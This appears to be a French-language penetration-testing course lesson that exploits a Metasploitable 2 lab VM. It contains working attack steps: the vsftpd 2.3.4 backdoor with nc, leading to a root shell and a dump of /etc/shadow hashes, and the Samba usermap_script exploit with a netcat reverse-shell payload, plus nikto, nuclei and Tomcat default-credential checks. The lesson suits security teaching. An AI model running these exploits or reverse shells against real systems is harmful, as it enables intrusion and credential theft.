Aller au contenu principal

Recherche de vulnérabilités — Démonstration guidée

Vous avez la liste de la semaine 4. On la reprend, on la qualifie, on prouve. Deux vulnérabilités tombent à la main — sans Metasploit — pour vous rappeler que le framework n'est jamais indispensable.

Lab isolé

Toutes les commandes qui suivent visent 10.10.10.20 (Metasploitable 2), dans le réseau host-only. Aucune n'est légitime en dehors.

Ce que vous saurez faire après cette leçon

  • Passer de la liste brute des versions à un tableau de vulnérabilités qualifiées.
  • Lire, adapter et exécuter un exploit searchsploit en Python avec les yeux ouverts.
  • Tomber vsftpd 2.3.4 avec nc et avec curl — sans Metasploit.
  • Tomber Samba (usermap script) avec une simple ligne Python.
  • Constater proprement avec curl -v, tcpdump et un whoami sur le shell distant.

Étape 0 — On rassemble les versions

Extrayez, depuis ~/labs/semaine-04/scans/20-versions.nmap, les couples service/version. Résultat :

PortServiceVersion
21vsftpd2.3.4
22OpenSSH4.7p1
25Postfix2.5.5
80Apache httpd2.2.8
139/445Samba3.0.20-Debian
3306MySQL5.0.51a-3ubuntu5
3632distccdv1
5432PostgreSQL8.3.0
6667UnrealIRCd3.2.8.1
8180Tomcat5.5

Dix lignes. Chacune mérite qu'on la teste. On commence par les deux plus intéressantes.


Étape 1 — vsftpd 2.3.4 : la backdoor du sourire

Cette version précise contient une backdoor introduite dans le code source publié sur le serveur du projet en 2011. Toute personne qui envoie un login se terminant par :) déclenche l'ouverture d'un shell root sur le port 6200.

1a. Qualifier avec searchsploit

searchsploit "vsftpd 2.3.4"

Sortie :

--------------------------------------- ---------------------------------
Exploit Title | Path
--------------------------------------- ---------------------------------
vsftpd 2.3.4 - Backdoor Command Execu | unix/remote/49757.py
vsftpd 2.3.4 - Backdoor Command Execu | unix/remote/17491.rb
--------------------------------------- ---------------------------------

Regardons le script Python :

searchsploit -m 49757
head -50 49757.py

Extrait :

import socket
def exploit(ip):
s1 = socket.socket()
s1.connect((ip, 21))
print(s1.recv(1024))
s1.send(b"USER pwn:)\n")
s1.send(b"PASS pwn\n")
s2 = socket.socket()
s2.connect((ip, 6200))
print("[+] Shell opened on port 6200, type command:")
...

On comprend le POC. On peut même le refaire plus simplement, sans script, pour bien voir ce qui se passe.

1b. Reproduire à la main avec nc

Dans un premier terminal, envoyer les credentials piégés :

nc 10.10.10.20 21

Une fois connecté, taper :

USER exploit:)
PASS whatever

Ne raccrochez pas.

Dans un second terminal, connectez-vous au port 6200 :

nc 10.10.10.20 6200

Vous recevez une invite silencieuse. Tapez :

id

Réponse :

uid=0(root) gid=0(root)

Root, sans mot de passe. En deux nc, sans Metasploit.

Capturez la preuve :

# Dans le shell distant :
uname -a
hostname
cat /etc/shadow | head -5

Sortie :

Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
metasploitable
root:$1$/avpfBJ1$x0z8w5UF9Iv./DR9E9Lid.:14747:0:99999:7:::
daemon:*:14684:0:99999:7:::
bin:*:14684:0:99999:7:::
sys:$1$fUX6BPOt$Miyc3UpOzQJqz4s5wFD9l0:14742:0:99999:7:::
sync:*:14684:0:99999:7:::

Sauvegardez dans ~/labs/semaine-05/preuves/vsftpd-shadow.txt. Vous avez /etc/shadow. Compromission totale.

1c. Qualification finale

Dans preuves/vsftpd-fiche.md :

# Vulnérabilité — vsftpd 2.3.4 backdoor

- CVE : CVE-2011-2523
- CVSS Base : 10.0 (accès sans authentification, exécution de code à distance)
- CVSS Environmental (lab) : 10.0 (exposé, aucune protection)
- EPSS : 0.94
- KEV : Non (historique, mais totalement exploité par le passé)

## Preuve
- Cible : 10.10.10.20
- Trace complète : preuves/vsftpd-session.log
- Commandes exécutées : nc 10.10.10.20 21 puis nc 10.10.10.20 6200
- Compte obtenu : root (UID 0)
- Fichiers extraits : /etc/shadow (voir preuves/vsftpd-shadow.txt)

## Recommandation
Mettre à jour vsftpd immédiatement (>= 3.0). Cette version compromise ne
doit plus être en production. Compter environ 2 heures pour la migration.

Étape 2 — Samba usermap_script (CVE-2007-2447)

Samba versions 3.0.20 à 3.0.25rc3 contiennent une faille dans le paramètre username map script. Un nom d'utilisateur passé au processus d'auth est exécuté comme une commande shell par une lambda wrapper mal échappée.

2a. Qualifier

searchsploit "samba 3.0.20"

Sortie :

 Samba 3.0.20 < 3.0.25rc3 - 'Username' map script       | unix/remote/16320.rb
Samba 3.0.20 < 3.0.25rc3 - Username Map Script | unix/remote/60106.py

Regardons le script Python :

searchsploit -m 60106
cat 60106.py

Cœur de l'exploit :

import socket
from smb.SMBConnection import SMBConnection

def exploit(target, lhost, lport):
payload = f'/=`nohup nc -e /bin/bash {lhost} {lport}`'
conn = SMBConnection(payload, "", "attacker", target)
conn.connect(target, 139)

Un chargeur SMB, un username qui contient une commande shell, un reverse shell dans le nom. On peut faire encore plus simple.

2b. Reproduire avec un script Python minimal

# ~/labs/semaine-05/samba_pwn.py
import socket

LHOST = "10.10.10.5"
LPORT = "4444"
TARGET = "10.10.10.20"
TARGET_PORT = 139

payload = f"/=`nohup nc -e /bin/bash {LHOST} {LPORT}`"

def send_smb_username(target, port, username):
"""Envoie un paquet SMB Session Setup dont le username est piégé.
Le shell est déclenché dans le username lui-même."""
negotiate = bytes.fromhex(
"00000031ff534d4272000000001843c800000000000000000000000000004000"
"1cd812000200004e5420574d20706b31200000024f532f3200"
)
session_setup_template = (
b"\x00\x00\x00\x63" # header SMB
b"\xffSMBs\x00\x00\x00"
)
body = username.encode() + b"\x00"
s = socket.socket()
s.connect((target, port))
s.send(negotiate)
s.recv(1024)
# session setup avec username piégé (simplifié pour la démo)
s.send(session_setup_template + body)
print(s.recv(1024)[:80])

# En pratique, utiliser un script Impacket qui fait ça proprement :
# python3 60106.py <target> <lhost> <lport>

En vrai, le mieux : le .py d'Exploit-DB fonctionne tel quel. On lance :

Dans un premier terminal :

nc -lvnp 4444

Dans un deuxième :

python3 60106.py 10.10.10.20 10.10.10.5 4444

Vous voyez apparaître, dans le premier terminal :

listening on [any] 4444 ...
connect to [10.10.10.5] from (UNKNOWN) [10.10.10.20] 45632

Tapez :

id
whoami
uname -a

Réponse :

uid=0(root) gid=0(root)
root
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux

Deuxième shell root, obtenu par une autre porte, avec un autre outil. Sur une cible réelle, disposer de deux voies indépendantes est un luxe : si l'une est fermée pendant la mission, l'autre reste.

2c. Qualification

# Vulnérabilité — Samba usermap_script (CVE-2007-2447)

- CVE : CVE-2007-2447
- CVSS Base : 6.0 (auth requise sur le protocole, mais username = shell)
- CVSS Environmental : 9.8 (le port est exposé, session nulle acceptée)
- EPSS : 0.72
- KEV : Non

## Preuve
- Cible : 10.10.10.20
- Exploit utilisé : Exploit-DB #60106 (lecture préalable, aucune backdoor)
- Reverse shell : 10.10.10.5:4444
- Compte obtenu : root
- Trace : preuves/samba-nc-session.log

## Recommandation
Mettre à jour Samba (>= 3.0.25rc3). La version installée est end-of-life
depuis 2011. Prévoir aussi de désactiver SMBv1 (voir semaine 1).

Étape 3 — Nikto sur l'Apache 2.2.8

On lance un scan web pour voir ce que la page web http://10.10.10.20/ raconte :

nikto -h http://10.10.10.20 -Format txt -o ~/labs/semaine-05/preuves/nikto-20.txt

Extrait sélectionné (les vraies trouvailles parmi le bruit) :

+ Server: Apache/2.2.8 (Ubuntu) DAV/2
+ Apache/2.2.8 appears to be outdated (current is at least Apache/2.4.54).
+ Uncommon header 'tcn' found, with contents: list
+ /phpinfo.php: Output from the phpinfo() function was found.
+ /doc/: The /doc/ directory is browsable. This may be /usr/doc.
+ /icons/: Directory indexing found.
+ /phpMyAdmin/: phpMyAdmin directory found.
+ /twiki/bin/view/Main/WebHome: Twiki, may contain many vulnerabilities.
+ /tikiwiki-old/: Old TikiWiki install found.

Ce qu'on qualifie tout de suite :

  1. phpinfo.php — expose la configuration PHP complète, souvent des chemins et des versions.
  2. /phpMyAdmin/ — panneau d'administration MySQL. Si comptes faibles, RCE possible.
  3. /tikiwiki-old/ — installation obsolète. TikiWiki a de multiples CVE.

On ouvre phpinfo.php (curl http://10.10.10.20/phpinfo.php), on note la version PHP (5.2.4) et les chemins. On note pour attaques futures :

- phpinfo.php exposé — fuite d'information (P2).
- phpMyAdmin exposé sur /phpMyAdmin/ — tester dictionnaires (P2).
- tikiwiki-old — chercher CVE (P1 potentiel).

Piège Nikto : la ligne Uncommon header 'tcn' est un vrai positif mais sans exploit — c'est un faux positif pour un pentester. On l'ignore dans le rapport.


Étape 4 — Nuclei sur une cible plus moderne

Pour la démo, on prend une cible autorisée comme Damn Vulnerable Web Application ou juste le port 8180 (Tomcat) de la même VM.

nuclei -u http://10.10.10.20:8180 -tags cve,exposure -severity high,critical

Sortie type :

[apache-tomcat-manager] [http] [medium] http://10.10.10.20:8180/manager/html
[apache-tomcat-default-login] [http] [high] http://10.10.10.20:8180/manager/html

nuclei a détecté un panneau d'administration Tomcat en login par défaut (tomcat:tomcat). C'est une prise directe sur le serveur : Tomcat manager permet de déployer une WAR, et une WAR = un JSP = du code Java qui tourne sur le serveur.

Confirmation manuelle :

curl -u tomcat:tomcat http://10.10.10.20:8180/manager/html | head -20

Sortie : le panneau HTML. Prise validée. À exploiter au module 7 (déploiement d'une WAR malveillante pour RCE).


Étape 5 — Consolider en tableau priorisé

Ouvrez ~/labs/semaine-05/rapport/vulnerabilites.md :

# Vulnérabilités qualifiées — Lab semaine 5

## Cible 10.10.10.20 (Linux)

| ID | Service | CVE | Base | Env. | EPSS | KEV | Statut | Preuve |
| -- | --- | --- | --- | --- | --- | --- | --- | --- |
| P1a | vsftpd 2.3.4 | CVE-2011-2523 | 10.0 | 10.0 | 0.94 | non | **exploitée** | preuves/vsftpd-* |
| P1b | Samba 3.0.20 | CVE-2007-2447 | 6.0 | 9.8 | 0.72 | non | **exploitée** | preuves/samba-* |
| P1c | UnrealIRCd 3.2.8.1 | CVE-2010-2075 | 9.8 | 9.8 | 0.85 | non | à faire | — |
| P1d | distccd | CVE-2004-2687 | 9.3 | 9.3 | 0.60 | non | à faire | — |
| P1e | Tomcat manager (creds par défaut) | — | 8.8 | 8.8 | — | — | à faire (S7) | preuves/nuclei-tomcat.txt |
| P2a | MySQL 5.0.51a | multiples | 6.0 | 6.0 | 0.30 | non | à voir | — |
| P2b | phpMyAdmin exposé | — | 5.0 | 5.0 | — | — | brute force | — |
| P3a | phpinfo.php exposé | — | 4.0 | 4.0 | — | — | fuite d'info | preuves/phpinfo.txt |
| P4a | Apache 2.2.8 obsolète | multiples | — | 3.0 | — | — | mise à jour | — |

## Cible 10.10.10.12 (Windows)

| ID | Service | CVE | Base | Env. | EPSS | KEV | Statut |
| -- | --- | --- | --- | --- | --- | --- | --- |
| P1w | SMBv1 EternalBlue | CVE-2017-0143 | 8.1 | 9.8 | 0.98 | **OUI** | **exploitée S1** |

Ce tableau, c'est votre semaine. Chaque ligne mène à un module ultérieur : P1c à un mini-exploit Perl, P1e au module 7 (déploiement WAR), P2a au module 9 (dumping MySQL), P2b au module 6 ou 8 (brute force ou Metasploit).


Bilan

En 60 minutes :

  • Vous avez qualifié 9 vulnérabilités sur une seule cible.
  • Vous avez exploité 2 à la main, sans framework, avec des preuves claires.
  • Vous avez repéré 1 exposition Tomcat critique via nuclei.
  • Vous avez un tableau priorisé exploitable en réunion.

Ce tableau est le vrai livrable de la semaine 5. C'est ce qui remonte dans le rapport final. C'est ce qui prouve que vous avez fait votre boulot.

Prochaine leçon : à vous. Vous prenez les vulnérabilités restantes, vous en qualifiez trois, vous en exploitez au moins une à la main.